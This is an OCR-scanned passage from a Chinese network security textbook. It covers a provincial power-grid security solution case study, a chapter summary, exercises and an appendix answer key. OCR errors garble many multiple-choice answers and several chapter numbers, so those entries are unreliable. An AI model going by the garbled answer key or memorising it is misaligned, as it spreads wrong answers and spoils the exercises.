所 有 服务 器 和 客户 机 建立 病毒 防范 体系 。 在 网 中 部 署 漏洞 扫描 系统 ,及 时 发 现 网 络 中 存 
在 的 安全 隐患 并 提出 解决 建议 和 方法 。 

6 师 展 阅 读 ”由 上 述 分 析 可 知 ,电力 网 络 系统 安全 解决 方案 需要 构建 统一 的 安全 管 
理 中 心 , 通 过 安全 管理 中 心 使 所 有 的 安全 产品 和 安全 策略 可 以 集中 部 署 ,集中 管理 与 分 
发 。 需 要 制定 省 级 电力 网 络 安全 策略 ,安全 策略 是 建立 安全 保障 体系 的 基石 。 


D53 电力 网 络 安全 方案 设计 


1. 网 络 系统 安全 策略 要 素 


网 络 信息 系统 安全 策略 模型 有 3 个 要 素 : 网 络 安全 管理 策略 、 网 络 安全 组 织 策略 和 
网 络 安全 技术 策略 。 

(1) 网 络 安全 管理 策略 包括 各 种 策略 法律 法 规 、 规 章 制度 .技术 标准 、 管 理 标准 等 ， 
是 信息 安全 最 核心 的 问题 ,是 整个 信息 安全 建设 的 依据 。 

(2) 网 络 安全 组 织 策略 主要 是 人 员 、 组 织 和 流程 的 管理 ,是 实现 信息 安全 的 落实 
手段 。 

(3) 网 络 安全 技术 策略 包含 工具 ,产品 和 服务 等 ,是 实现 网 络 系统 信息 安全 的 有 力 
保证 。 

网 络 安全 策略 模型 将 网 络 信息 安全 工作 中 的 “管理 中 心 ” 的 特性 突出 地 描述 出 来 。 
根据 模型 的 指导 ,为 省 级 电力 网 络 提供 的 信息 安全 解决 方案 不 仅 包含 各 种 安全 产品 和 技 
术 , 更 重要 的 是 要 建立 一 个 一 致 的 信息 安全 体系 ,也 就 是 建立 安全 组 织 策略 体系 、 安 全 管 
理 策略 体系 和 安全 技术 策略 体系 。 


2. 网 络 系统 总 体 安全 策略 


省 级 电力 网 络 安全 系统 体系 应 该 按照 三 层 结构 建立 。 第 一 层 首先 是 要 建立 安全 标 
准 框架 ,包括 安全 组 织 和 人 员 、 安 全 技术 规范 、 安 全 管理 办 法 、 应 急 响 应 制度 等 。 第 二 层 
是 考虑 省 级 电力 IT 基础 架构 的 安全 ,包括 网 络 系统 安全 物理 链 路 安全 等 。 第 三 层 是 省 
级 电力 整个 IT 业务 流程 的 安全 ,如 各 机 构 的 办 公 自 动 化 (OA) 应 用 系统 安全 。 
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图 126 电力 网 络 系统 分 区 结构 及 本 临 的 安全 威胁 
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针对 网 络 应 用 及 用 户 对 安全 的 不 同 需 求 ,电力 信息 网 的 安全 防护 层次 分 为 4 级 ,如 
表 12-1 所 示 。 
表 12-1 电力 信息 网 安全 防护 层次 分 析 表 


级 别 防护 对 象 

最 高 级 OA、MS、 网 站 、 邮 件 等 公司 应 用 系统 、 业 务 系统 ,重要 的 部 门 服务 器 
高 级 主干 网 络 设 备 ,其 他 应 用 系统 ,重要 用 户 网 段 

中 级 部 门 服务 器 ,边缘 网 络 设备 

一 般 一 般 用 户 网 段 


D54 网 络 安全 解决 方案 的 实施 


通过 对 省 级 电力 信息 网 络 的 风险 和 需求 分 析 , 按 照 安全 策略 的 要 求 ,整个 网 络 安全 
措施 应 按 系统 体系 建立 ,并 且 系统 的 总 体 设 计 将 从 各 个 层次 对 安全 予以 考虑 ,并 在 此 基 
础 上 制定 详细 的 安全 解决 方案 ,建立 完整 的 行政 制度 和 组 织 人 员 安 全 保障 措施 。 整 个 安 
全 解决 方案 包括 防火 墙 子 系统 、 入 侵 检 测 子 系统 、 病 毒 防范 子 系统 、 安 全 评估 子 系 统 、 安 
全 管理 中 心 子 系统 。 


1. 总 体 方案 


网 络 系统 安全 由 安全 的 操作 系统 、 应 用 系统 、 防 病毒 防火墙. 系统 物理 隔离 入侵 检 
测 、 网 络 监控 \ 信 息 审计 .通信 加 密 、 灾 难 恢复 、 安 全 扫描 等 多 个 安全 组 件 组 成 ,一 个 单独 
的 组 件 无 法 确保 信息 网 络 的 安全 性 。 


2. 网 络 的 层次 结构 


在 省 级 网 络 的 层次 结构 上 ,主要 体现 在 : 在 数据 链 路 层 采用 链 路 加 密 技术 ;网 络 层 的 
安全 技术 可 以 采用 的 技术 包括 包 过 滤 .IPSec 协议 .VPN 等 ;TCP 层 可 以 使 用 SSL 协议 ; 
应 用 层 采用 的 安全 协议 有 SHTTP、PGP、SMIME 以 及 开发 的 专用 协议 ;其 他 网 络 安 全 技 
术 包 括 网 络 隔 离 防火墙. 访问 代理 、 安 全 网 关 、 入 侵 检 测 .日 志 审 计 入 侵 检测 .漏洞 扫描 
和 追踪 等 。 


3. 电力 信息 网 络 安全 体系 结构 


在 实际 业务 中 构建 的 省 级 电力 信息 网 络 安全 体系 结构 主要 特点 为 分 区 防护 、 突 出 重 
点 、 区 域 隔离 .网络 专用 、 设 备 独立 、 纵 向 防护 。 


4. 电力 信息 网 络 中 的 安全 机 制 


省 级 电力 信息 网 络 中 的 安全 机 制 包括 认证 方式 、 安 全 隔离 技术 、 主 站 安全 保护 ,数据 
加 密 、 网 络 安全 保护 数据 备份 访问 控制 技术 、 可 靠 安全 审计 、 定 期 的 安全 风险 评估 、 密 
钥 管 理 、 制 定 合适 的 安全 管理 规范 、 加 强 安 全 服务 教育 培训 等 。 

EE 鼎 展 阅读 网络 安全 是 动态 的 、 整 体 的 ,并 非 简单 的 安全 产品 集成 就 可 解决 问题 。 


第 @ 人 六 ”网络 安全 解决 方案 及 应 用 


安全 不 是 一 劳 永 逸 的 ,总 会 随 着 用 户 网 络 现 况 的 变化 而 变化 。 随 着 时 间 推 移 ,新 的 安全 
风险 又 将 产生 。 因 此 ,一 个 完整 的 解决 方案 还 必须 包括 长 期 的 与 项 目 相 关 的 信息 安全 服 
务 , 主 要 包括 安全 策略 制定 、 安 全 评估 、 安 全 增强 、 安 全 应 急 响应 、 安 全 培训 。 

[讨论 思考 

(1) 电力 网 络 安全 需求 分 析 的 主要 内 容 有 哪些 ? 

(2) 电力 网 络 安全 解决 方案 设计 的 主要 内 容 有 哪些 ? 

(3) 电力 网 络 安全 解决 方案 主要 包括 哪些 内 容 ? 


126 本 章 小 结 


网 络 安全 解决 方案 的 制定 直接 影响 到 整个 网 络 系统 安全 建设 的 质量 ,关系 到 机 构 网 
络 系统 的 安危 以 及 用 户 的 信息 安全 ,意义 重大 。 本 章 概 述 了 网 络 安全 解决 方案 的 需求 分 
析 、 方 案 设 计 、 实 施 和 测试 检验 过 程 ,主要 涉及 网 络 安全 解决 方案 的 基本 概念 ,方案 的 过 
程 、 内 容 要 点 、 安 全 目标 及 标准 、 需 求 分 析 、 主 要 任务 等 ,并 且 通 过 结合 实际 的 案例 具体 介 
绍 了 安全 解决 方案 分 析 与 设计 、 安 全 解决 方案 案例 、 实 施 方案 与 技术 支持 、 检 测报 告 与 培 
训 等 ,同时 讨论 了 如 何 根据 企 事业 单位 用 户 的 实际 安全 需求 进行 调研 分 析 和 设计 ,并 能 
够 写 出 一 份 完整 的 网 络 安全 的 解决 方案 。 

最 后 ,通过 省 级 电力 网 络 安全 解决 方案 案例 ,介绍 了 省 级 电力 网 络 安全 现状 概况 、 安 
全 需求 分 析 和 安全 解决 方案 设计 等 具体 建立 过 程 ,概述 了 安全 解决 方案 的 制定 及 编写 
内 容 。 


127 练习 与 实践 十 二 


1. 选择 题 
(1) 在 设计 网 络 安全 解决 方案 中 ,系统 是 基础 ,( ) 是 核心 ,管理 是 保证 。 
A. 系统 管理 员 B. 安全 策略 € X D. 领导 


(2) 得 到 授权 的 实体 在 需要 时 可 访问 数据 , 即 攻击 者 不 能 占用 所 有 的 资源 而 阻碍 授 
权 者 的 工作 ,以 上 是 实现 安全 方案 的 ( ) 目 标 。 
A. 可 审查 性 B. 可 控 性 C. 机 密 性 D. 可 用 性 
(3) 在 设计 网 络 安全 解决 方案 时 ,( ) 是 网 络 安全 解决 方案 与 其 他 项 目的 最 大 
区 别 。 


A. 方案 的 动态 性 B. 方案 的 相对 性 
C. 方案 的 完整 性 D. 方案 的 真实 性 
(4) 在 某 部 分 系统 出 现 问题 时 不 影响 企业 信息 系统 的 正常 运行 ,是 网 络 方案 设计 中 
( ) 需 求 。 
A. 可 控 性 和 可 管理 性 B. 可 持续 发 展 


C. 可 用 性 和 及 时 恢复 性 D. 安全 性 和 合法 性 
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(5) 在 网 络 安 全 需求 分 析 中 ,安全 系统 必须 具有 ( ) ,以 适应 网 络 规模 的 变化 。 


A. 开放 性 B. 安全 体系 
C. 易于 管理 D. 可 伸缩 性 与 可 扩展 性 
2. 填空 题 
(1) 高 质量 的 网 络 安全 解决 方案 主要 体现 在 和 三 方面 ， 
其 中 是 基础 ， 是 核心 ， 是 保证 。 
(2) 制定 网 络 安全 解决 方案 时 ,网 络 系统 的 安全 原则 体现 在 
š 和 五 个 方面 。 
(3) 是 识别 与 防止 网 络 攻击 行为 .追查 网 络 泄密 行为 的 重要 措施 之 一 。 
(4) 在 网 络 安全 设计 方案 中 ,只 能 做 到 和 ,不 能 做 到 


(5) 在 方案 中 选择 网 络 安全 产品 时 主要 考察 其 
和 Š 
(6) 一 个 优秀 的 网 络 安全 解决 方案 应 当 是 整体 解决 方案 ,同时 还 需要 
— 等 其 他 因素 。 


3. 简 答题 


(1) 网 络 安全 解决 方案 的 主要 内 容 有 哪些 ? 

(2) 网 络 安全 的 目标 及 设计 原则 是 什么 ? 

(3) 评价 网 络 安全 解决 方案 的 质量 标准 有 哪些 ? 

(4) 简 述 网 络 安全 解决 方案 的 需求 分 析 。 

(5) 网 络 安全 解决 方案 框架 包含 哪些 内 容 ? 编写 时 需要 注意 什么 ? 
(6) 网 络 安全 的 具体 解决 方案 包括 哪些 内 容 ? 

(7) 金融 行业 网 络 安全 解决 方案 具体 包括 哪些 方面 ? 

(8) 省 级 电力 网 络 安全 解决 方案 是 从 哪 几 方面 进行 拟定 的 ? 


4. 实践 题 ( 课 程 设 计 ) 


(1) 通过 对 校园 网 进行 调查 ,分 析 现 有 的 网 络 安全 解决 方案 ,并 提出 解决 办 法 。 
(2) 对 企 事 业 网 站 进行 社会 实践 调查 ,编写 一 份 完整 的 网 络 安全 解决 方案 。 


附录 A De 
练习 与 实践 部 分 习题 答案 


第 1 章 练习 与 实践 一 部 分 答案 
1. 选择 题 
‘DA PC ¿“(D C B “Á (B WD 
2. 填空 题 


(1) 计算 机 科学 、 网 络 技术 信息 安全 技术 

(2) 保密 性 、 完 整 性 、 可 用 性 、 可 控 性 、 不 可 否认 性 

(3) 实体 安全 、 运 行 安全 、 系 统 安全 、 应 用 安全 、 管理 安 全 

(4) 物理 上 和 逻辑 上 、 对 抗 

(5) 身份 认证 访问 管理 ,加密 、 防 恶意 代码 加固 ,监控 ,审核 跟踪 、 备 份 恢复 
(6) 多 维 主动 .综合 性 .智能 化 、 全 方位 防御 

(7) 技术 和 管理 .偶然 和 恶意 

(8) 网 络 安全 体系 和 结构 ,描述 和 研究 


第 2 章 练习 与 实践 二 部 分 答案 
1. 选择 题 
(D OQA B (B yD yD 
2. 填空 题 


(1) 保密 性 、 可 靠 性 、SSL 协商 层 、 记 录 层 

(2) 物理 层 、 数 据 链 路 层 、 传 输 层 、 网 络 层 \ 会 话 层 、 表 示 层 、 应 用 层 
(3) 有 效 性 、 保 密 性 、 完 整 性 、 可 靠 性 、 不 可 否认 性 

(4) 网 络 层 操作 系统 数据库 

(5) 网 络 接口 层 、 网 络 层 \、 传 输 层 、 应 用 层 

(6) 客户 机 、 隧 道 、 服 务 器 

(7) 安全 保障 、 服 务 质量 保证 、 可 扩充 性 和 灵活 性 、 可 管理 性 
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第 3 章 练习 与 实践 三 部 分 答案 
1. 选择 题 
(yD DB WC AMA CB AE 
2. 填空 题 


(1) 信息 安全 战略 .信息 安全 政策 和 标准 、 信 息 安 全 运作 、 信 息 安 全 管理 .信息 安全 
技术 

(2) 分 层 安全 管理 ,安全 服务 与 机 制 ( 认 证 ,访问 控制 .数据 完整 性 、 抗 抵赖 性 、 可 用 可 
控 性 ,审计 ) ,系统 安 全 管理 (终端 系统 安全 、 网 络 系统 、 应 用 系统 ) 

(3) 信息 安全 管理 体系 、 多 层 防护 , 认 知 宣传 教育 .组织 管理 控制 .审计 监督 

(4) 一 致 性 ,可靠 性 ,可 控 性 ,先进 性 

(5) 安全 立法 ,安全 管理 安全 技术 

(6) 信息 安全 策略 信息 安 全 管理 信息 安全 运作 ,信息 安全 技术 

(7) 安全 政策 、 可 说 明 性 、 安 全 保障 

(8) 网 络 安全 隐患 .安全 漏洞 .网络 系统 的 抗 攻击 能 力 

(9) 环境 安全 设备 安全 ,媒体 安 全 

(10) 应 用 服务 器 模式 ,软件 老化 


第 4 章 ”练习 与 实践 四 部 分 答案 
1. 选择 题 


QD “y A (A (0 Á 
2. 填空 题 


(1) 数学 .计算 机 .电子 、. 通 信 

(2) 密 钥 空间 很 小 ,难以 抵御 强行 攻击 密码 分 析 。 攻 击 者 尝试 多 次 密码 能 够 被 破译 

(3) 保密 性 ,完整 性 、 真 实 性 、 不 可 否认 性 

(4) RSA( 大 整数 因子 分 解 ) .Diffie-Hellman( 离 散 对 数 )、.DSA (离散 对 数 )、ElGamal 
(离散 对 数 )、ECC( 椭 圆 曲 线 离散 对 数 系统 ) .背包 算法 等 


第 5 章 练习 与 实践 五 部 分 答案 
1. 选择 题 


(1) A (2) C €3) B (4) C (5) D 


n, 练习 与 实践 部 分 习题 答案 
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2. 填空 题 


(1) 隐藏 卫 、 踩 点 扫描 、 获 得 特权 、 种 植 后 门 、 隐 身 退 出 

(2) 系统 “加 固 ”、 屏 项 出 现 扫 描 症状 的 端口 .关闭 闲置 及 有 潜在 危险 端口 
(3) 盗窃 资料 .攻击 网 站 、 恶 作 剧 

(4) 分 布 式 拒绝 服务 攻击 

(5) 基于 主机 、 基 于 网 络 、 分 布 式 ( 混 合 型 ) 


3. 简 答题 


(1) 答 : 对 网 络 流量 的 跟踪 与 分 析 功 能 ;对 已 知 攻击 特征 的 识别 功能 ;对 异常 行为 的 
分 析 ,统计 与 响应 功能 ;特征 库 的 在 线 升级 功能 ;数据 文件 的 完整 性 检验 功能 ; 自 定义 特 
征 的 响应 功能 ;系统 漏洞 的 预报 警 功能 。 

(2) 答 : 按 端口 号 范围 可 分 为 3 段 : @ 公 认 端 口 (0 一 1023) ,又 称 常 用 端口 ,为 已 经 公 
认定 义 或 为 将 要 公认 定义 的 软件 保留 的 。 这 些 端口 紧密 绑 定 一 些 服 务 且 明确 表示 了 某 
种 服务 协议 。 如 80 端口 表示 HTTP 协议 。@ 注 册 端 口 (1024 一 49 151) ,又 称 保留 端口 ， 
这 些 端口 松散 绑 定 一 些 服 务 。 图 动态 /私有 端口 (49 152 一 65 535) 。 理 论 上 不 应 为 服务 
器 分 配 这 些 端口 。 

(3) 答 : 统一 威胁 管理 (Unified Threat Management,UTM) 将 防 病毒 .人 侵 检 测 和 
防火 墙 安全 设备 划 归 统一 威胁 管理 。IDC 将 防 病毒 .防火 墙 和 入 侵 检 测 等 概念 融合 到 被 
称 为 统一 威胁 管理 的 新 类 别 中 ,该 概念 引起 了 业界 的 广泛 重视 ,并 推动 了 以 整合 式 安全 
设备 为 代表 的 市 场 细 分 的 诞生 。 目 前 ,UTM 常 定 义 为 由 硬件 .软件 和 网 络 技术 组 成 的 具 
有 专门 用 途 的 设备 ,主要 提供 一 项 或 多 项 安全 功能 ,同时 将 多 种 安全 特性 集成 于 一 个 硬 
件 设 备 里 ,形成 标准 的 统一 威胁 管理 平台 。UTM 设备 应 该 具备 的 基本 功能 包括 网 络 防 
火 墙 .网 络 入 侵 检 测 / 防 御 和 网 关 防 病毒 功能 。 目 前 UTM 已 经 替代 了 传统 防火 墙 ,成 为 
主要 网 络 边界 安全 防护 设备 ,大 大 提高 了 网 络 抵御 外 来 威胁 的 能 力 。 

(4) 答 : 异常 检测 (anomaly detection) 的 假设 是 入 侵 者 活动 异常 于 正常 主体 的 活动 。 
根据 这 一 理念 建立 主体 正常 活动 的 “活动 简 档 ”, 将 当前 主体 的 活动 状况 与 “活动 简 档 ” 相 
比较 , 当 违 反 其 统计 模型 时 ,认为 该 活动 可 能 是 "入侵 ”行为 。 异 常 检测 的 难题 在 于 如 何 
建立 “活动 简 档 ” 以 及 如 何 设计 统计 模型 ,从 而 不 把 正常 操作 作为 “入侵 ” 或 忽略 真正 “入 
侵 ” 行 为 。 

特征 检测 是 对 已 知 的 攻击 或 入 侵 的 方式 进行 确定 性 的 描述 ,形成 相应 的 事件 模式 。 
当 被 审计 的 事件 与 已 知 的 入 侵 事 件 模式 相 匹配 时 即 报警 。 在 检测 方法 上 与 计算 机 病毒 
的 检测 方式 类 似 。 目 前 基于 对 包 特 征 描 述 的 模式 匹配 应 用 较为 广泛 。 该 方法 的 优点 是 
误 报 少 ,局 限 是 只 能 发 现 已 知 的 攻击 ,对 未 知 的 攻击 无 能 为 力 , 同 时 由 于 新 的 攻击 方法 不 
断 产 生 ,新 漏洞 不 断 发 现 , 攻 击 特征 库 如 果 不 能 及 时 更 新 ,也 将 造成 IDS 漏 报 。 
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第 6 章 ”练习 与 实践 六 部 分 答案 
1. 选择 题 
(DA (D (WB GC GA (6)B 
2. 填空 题 


(1) 消息 、 用 户 身 份 

(2) 真实 .不 可 抵赖 

(3) 系统 级 审计 、 应 用 级 审计 、 用 户 级 审计 
(4) 重 构 ,评估 ,审查 

(5) 认证 、 鉴 权 、 审 计 、 安 全 体系 框架 


第 7 章 练习 与 实践 七 部 分 答案 
1. 选择 题 


CD Ee (BC “B YD 
2. 填空 题 


(1) 无 害 型 病毒 .危险 型 病毒 .毁灭 型 病毒 

(2) 引导 单元 、 传 染 单元 、 触 发 单元 

(3) 传染 控制 模块 传染 判断 模块 .传染 操作 模块 

(4) 引导 区 病毒 ,文件 型 病毒 、 复 合 型 病毒 、 宏 病毒 .蠕虫 病 毒 

(5) 移动 式 存储 介质 、 网 络 传播 

(6) 无 法 开机 、 开 机 速度 变 慢 、 系 统 运 行 速 度 慢 、 频 繁重 启 .无故 死机 、 自 动 关机 


第 8 章 练习 与 实践 八 部 分 答案 


1. 选择 题 


O) C (2) C (3) C (4) D (5) D 


(1) 唯一 

(2) 被 动 

(3) 软件 .芯片 级 
(4) 网 络 层 、 传 输 层 
(5) 代理 技术 

(6) 网 络 边界 


n, 练习 与 实践 部 分 习题 答案 


323 


(7) 完全 信任 用 户 

(8) 堡 允 主机 

(9) 拒绝 服务 攻击 

(10) SYN 网 关 、SYN 中 继 


3. 简 答 题 


(1) 答 : 是 一 种 用 于 加 强 网 络 之 间 访 问 控制 ,防止 外 部 网 络 用 户 以 非法 手段 通过 外 
部 网 络 进 入 内 部 网 络 .访问 内 部 网 络 资源 ,保护 内 部 网 络 操作 环境 的 特殊 网 络 互联 设备 。 

(2) 答 : 防火 墙根 据 物理 特性 分 为 硬件 防火 墙 和 软件 防火 墙 ; 按 过 滤 机 制 的 演化 历 
史 划 分 为 过 滤 防 火 墙 应 用 代理 网 关 防 火 墙 和 状态 检测 防火 墙 三 种 类 型 ; 按 处 理 能 力 可 
划分 为 百 兆 防 火 墙 . 千 兆 防火 墙 及 万 兆 防 火 墙 ; 按 部 署 方式 可 划分 为 终端 (单机 ) 防 火 墙 
和 网 络 防火 墙 。 防 火 墙 的 主要 技术 有 包 过 滤 技 术 .应 用 代理 技术 及 状态 检测 技术 。 

(3) 答 : 不 能 。 由 于 传统 防火 墙 严 格 依赖 于 网 络 拓扑 结构 且 基 于 这 样 一 个 假设 基 
础 :防火 墙 把 在 受 控 实体 点 内 部 , 即 防火 墙 保护 的 内 部 连接 认为 是 可 靠 和 安全 的 ;而 把 在 
受 控 实体 点 的 另外 一 边 , 即 来 自 防火 墙 外 部 的 每 一 个 访问 都 看 作 是 带 有 攻击 性 的 ,或 者 
说 至 少 是 有 潜在 攻击 危险 的 ,因而 产生 了 其 自身 无 法 克服 的 缺陷 ,例如 ,无 法 消灭 攻击 
源 ,无 法 防御 病毒 攻击 ,无 法 阻止 内 部 攻击 ,自身 设计 漏洞 和 牺牲 有 用 服务 等 。 

(4) £, 目前 主要 有 4 种 常见 的 防火 墙 体系 结构 : 屏蔽 路 由 器 、 双 宿主 主机 网 关 、 被 
屏蔽 主机 网 关 和 被 屏蔽 子 网 。 屏 项 路 由 器 上 安装 有 IP 层 的 包 过 滤 软 件 , 可 以 进行 简单 
的 数据 包 过 滤 ; 双 宿主 主机 的 防火 墙 可 以 分 别 与 网 络 内 外 用 户 通信 ,但 是 这 些 系统 不 能 
直接 互相 通信 ;被 屏蔽 主机 网 关 结 构 主 要 实现 为 数据 包 过 滤 ; 被 屏蔽 子 网 体系 结构 添加 
额外 的 安全 层 到 被 屏蔽 主机 体系 结构 , 即 通过 添加 周边 网 络 更 进一步 地 把 内 部 网 络 与 
Internet 隔离 开 。 

(5) 答 : SYN Flood 攻击 是 一 种 很 简单 但 又 很 有 效 的 进攻 方式 ,能 够 利用 合理 的 服 
务 请 求 来 占用 过 多 的 服务 资源 ,从 而 使 合法 用 户 无 法 得 到 服务 。 

(6) 答 : 针对 SYN Flood 攻击 ,防火 墙 通常 有 3 种 防护 方式 : SYN 网 关 、 被 动 式 
SYN 网 关 和 SYN 中 继 。SYN 网 关中 ,防火 墙 收 到 客户 端的 SYN 包 时 ,直接 转发 给 服务 
器 ;服务 器 返还 SYN/ACK 包 后 ,一 方面 将 SYN/ACK 包 转 发 给 客户 端 , 另 一 方面 以 客 
户 端的 名 义 给 服务 器 回 送 一 个 ACK 包 ,完成 一 个 完整 的 TCP 三 次 握手 ,让 服务 器 端 由 
半 连 接 状 态 进 入 连接 状态 。 当 客户 端的 真正 ACK 包 到 达 时 ,有 数据 则 转发 给 服务 器 ,和 否 
则 丢弃 该 包 。 被 动 式 SYN 网 关中 ,设置 防火 墙 的 SYN 请 求 超时 参数 ,让 它 远 小 于 服务 
器 的 超时 期 限 。 防 火 墙 负责 转发 客户 端 发 往 服务 器 的 SYN 包 , 包 括 服务 器 发 往 客户 端 
的 SYN/ACK 包 和 客户 端 发 往 服务 器 的 ACK 包 。 如 果 客 户 端 在 防火 墙 计时 器 到 期 时 还 
没 发 送 ACK 包 , 防 火 墙 将 向 服务 器 发 送 RST 包 , 以 使 服务 器 从 队列 中 删 去 该 半 连 接 。 
由 于 防火 墙 超 时 参数 远 小 于 服务 器 的 超时 期 限 ,因此 也 能 有 效 防止 SYN Flood 攻击 。 
SYN 中 继 中 .防火墙 收 到 客户 端的 SYN 包 后 并 不 向 服务 器 转发 ,而 是 记录 该 状态 信息 ， 
然后 主动 给 客户 端 回 送 SYN/ACK 包 。 如 果 收 到 客户 端的 ACK 包 , 表 明 是 正常 访问 ,由 
防火 墙 向 服务 器 发 送 SYN 包 并 完成 三 次 握手 。 这 样 由 防火 墙 作 为 代理 实现 客户 端 和 服 
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务 器 端 连 接 , 可 以 完全 过 滤 发 往 服务 器 的 不 可 用 连接 。 
第 9 章 练习 与 实践 九 部 分 答案 
1. 选择 题 


(1)B (2) C (3) B (4) C (5) A (6) D 


(1) Windows 验证 模式 、 混 合 模式 

(2) 认证 与 鉴别 . 存 取 控制 .数据 库 加 密 

(3) 原子 性 ,一致 性 ,隔离 性 

(4) 主机 -终端 结构 ,分 层 结构 

(5) 数据 库 登 录 权 限 类 资源 管理 权限 类 数据库 管理 员 权限 类 
(6) 表 级 、 列 级 


第 10 章 练习 与 实践 十 部 分 答案 
1. 选择 题 


(1) A (2) D 《3) G (4) A (5)B (6) B 


2. 填空 题 


(1) 修复 硬件 替代 、 固 件 修 复 、 盘 片 读 取 、 系 统 级 修复 ,文件 级 修复 
(2) 完全 备份 .文件 备份 

(3) 读 , 执 行 

(4) 动态 地 、 身 份 验证 

(5) 应 用 层面 的 、 网 络 层面 的 .业务 层面 的 

(6) 未 知 \ 不 被 信任 


第 1 章 练习 与 实践 十 一 部 分 答案 
1. 选择 题 
GD (2)A (3)ABC (4 ABCD 
2. 填空 题 


(1) 使 用 参数 绑 定式 SQL ,特殊 字符 转 义 处 理 
(2) IP 地 址 、 变 更 内 容 

(3) 数据 歧义 ,欺诈 行 为 .数据 误 传 .前 后 颠倒 
(4) 响应 速度 快 .修改 或 屏蔽 
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(5) 认证 供应 商 、 认 证 应 用 商 
(6) 异步 通信 


第 2 章 练习 与 实践 十 二 部 分 答案 
1. 选择 题 
(DB (WD (WA (OC (0)D 
2. 填空 题 


(1) 网 络 安全 技术 、 网 络 安全 策略 .网络 安全 管理 .网 络 安全 技术 、 网 络 安全 策略 、 网 
络 安全 管理 

(2) 动态 性 原则 .严谨 性 原则 唯一 性 原则 .整体 性 原则 ,专业 性 原则 

(3) 安全 审计 

(4) 尽力 避免 风险 ,努力 消除 风险 的 根源 ,降低 由 于 风险 所 带 来 的 隐患 和 损失 、 完 全 
彻底 消灭 风险 

(5) 类 型 功能, 特点、 原理 ,使 用 和 维护 方法 等 

(6) 全 方位 的 立体 的 、 兼 顾 网 络 安全 管理 
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cn 


12. 


13. 


常用 网 络 安全 资源 网 站 


. 上 海 市 精品 课程 “网 络 安全 技术 ”资源 网 站 


http://jiatj. sdju. edu. cn/webanq/ 


.IT 无 优 -51CTO 学 院 -网 络 安全 技术 (网 络 安全 工程 师 进 阶 - 上 海 精品 课程 ) 视 频 


http://edu. 5lcto. com/course/course_id-536. html 


. 上 海 市 精品 课程 网 络 安全 技术 ”动画 模拟 演练 视频 


http://jiatj. sdju. edu. cn/webanq/ VideoList. aspx? info_Ib=4616.flag=401 


. 中 国 科学 院 网 络 工 程 师 网 络 安全 视频 讲座 


http://www. youku. com/playlist_show/id_4455042. html 
国家 互联 网 应 急 中 心 

http://www. cert. org. cn/ 

国家 计算 机 病毒 应 急 处 理 中 心 

http://www. antivirus-china. org. cn/index. htm 

国家 计算 机 网 络 应 急 处 理 协调 中 心 


http://www. cert. org. cn/index. shtml 


. 公安 部 网 络 违法 犯罪 举报 网 站 


http://www. cyberpolice. cn/wfjb/ 


. 中 国信 息 安全 产品 检测 中 心 


http://www. itsec. gov. cn/ 


. 中 国信 息 安全 认证 中 心 


http://www. isccc. gov. cn/ 


. 中 国 互联 网 络 信息 中 心 


http://www. cnnic. net. cn 
中 国信 息 安 全 法 律 网 
http://www. infseclaw. net/ 
中 国信 息 安 全 网 
http://chinais. net/ 
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